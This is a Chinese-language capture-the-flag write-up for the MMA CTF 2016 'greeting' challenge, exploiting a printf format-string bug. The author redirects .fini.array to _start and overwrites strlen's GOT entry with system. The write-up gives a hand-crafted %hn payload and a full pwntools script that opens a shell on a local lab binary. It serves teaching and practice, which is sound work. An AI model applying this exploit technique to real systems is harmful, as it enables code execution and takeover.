MMA CTF 2nd 2016-greeting

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总结

本题主要为printf格式化字符串漏洞，最好的方式是手写fmt payload，然后有一个新的知识点：

pwntools的fmtstr_payload不是特别好用，特别是只想写低字节的时候，还是得手动写fmt_payload，抽个时间自己写个格式化payload生成函数吧。也不是第一次在这儿折腾了。
一个新的知识点：程序在初始化的时候，会依次调用init.array中的函数指针；在main函数执行完退出的时候，依次调用.fini.array中的函数指针。这两个段基本都是可读可写的。
可以利用printf将fini.array数组中的第一个元素覆盖为main函数的地址，或者_start函数的地址，可以循环运行main函数。本题只能多循环利用1次，之后就会报错。因为fini.array段的只有一个指针大小。

题目分析

checksec

函数分析

main：

main函数中，首先接收stdin的输入，最多输入64个字符，然后将输入的内容进行拼接，拼接后直接printf打印。
getnline：

就是普通的读取输入的函数。注意，这里调用了fgets，strchr，strlen函数。

漏洞点

很明显，格式化字符串漏洞。不过在查看文件，发现调用过system函数。同时got可读可写，所以考虑将某个函数的got表写为system@plt。然后想办法调用/bin/sh。

这里有个问题，就是printf打印完后，直接结束程序运行。那么，基本是没有办法通过一次格式化漏洞就获取shell的，要想覆盖eip就得泄露栈地址，不可能一边泄露栈地址一边往栈地址上写。因此，需要研究一下，怎样能够让程序能再一次回到main函数。

知识点

main函数并不是程序运行的起点，我们至少直到，是__libc_start_main函数，调用的main函数。网上有一些资料，解析x86程序运行的初始化函数执行流，详情请见这个地址。这里，只拿出一张图分析：

可以看到，_start函数中，调用了__libc_start_main，然后调用main函数。初始化的时候，调用init.array数组中的函数指针，退出的时候，调用fini.array数组的函数指针。因此，我们只需要把fini.array的第一个元素覆盖为main或者_start函数的地址即可。

在IDA中按下ctrl + S，可以看到程序段：

地址为0x8049934。

利用思路

步骤：

第一次printf，将strlen@got写为system@plt，同时，将0x8049934，也就是fini.array处写为_start地址，获得了第二次输入的机会
输入/bin/sh，会调用strlen(s)，实际调用system("/bin/sh")。

EXP

一开始用fmtstr_payload生成payload，长度为70，超过了64。因此，手动写一下。

首先观察一下，正常情况下，0x8049934处的值是多少：

我们要改写为0x80484f0，不难发现，只需要改写低两个字节即可。高两个字节保持为0x0804不动。

准备手动写payload。这里先测一下偏移，输入：aaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

输出为：

好像aaaa被分开输出了，说明前面有2位的偏移，于是，修改输入为：bbaaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

再来一次：

计算一下偏移，offset = 12。注意，前面有两个a，还有一句Nice to meet you, ，也就是说，前面已经输出了0x14个字符。

直接使用%n写四个字节容易写失败，这里使用$hn两个字节依次写入。本次要往str@got(0x8049a54)写入为system@plt(0x8048490)，然后将fini.array(0x8049934)的低两个字节写为0x84f0根据要格式化字符串要写的内容，对写的字节大小排个序：

本次写入，要达到的目的为：

往0x8049a56 ------> 0x0804

往0x8049a54 ------> 0x8490

往0x8049934 ------> 0x84f0

最后结合偏移量，最终的payload为：

payload = b'aa'

payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)

然后调试一下，看看是不是都改对了：

修改前：

修改后：

此时，获得了第二次输入机会：

输入/bin/dash即可得到shell。

完整Exp

from pwn import *

io = process('./greeting')

payload = b'aa'

payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)

io.recvuntil("Please tell me your name... ")

print(payload, len(payload))

sleep(1)

io.sendline(payload)

io.recvuntil("Please tell me your name... ")

sleep(1)

io.sendline('/bin/sh')

io.sendline('cat flag')

io.interactive()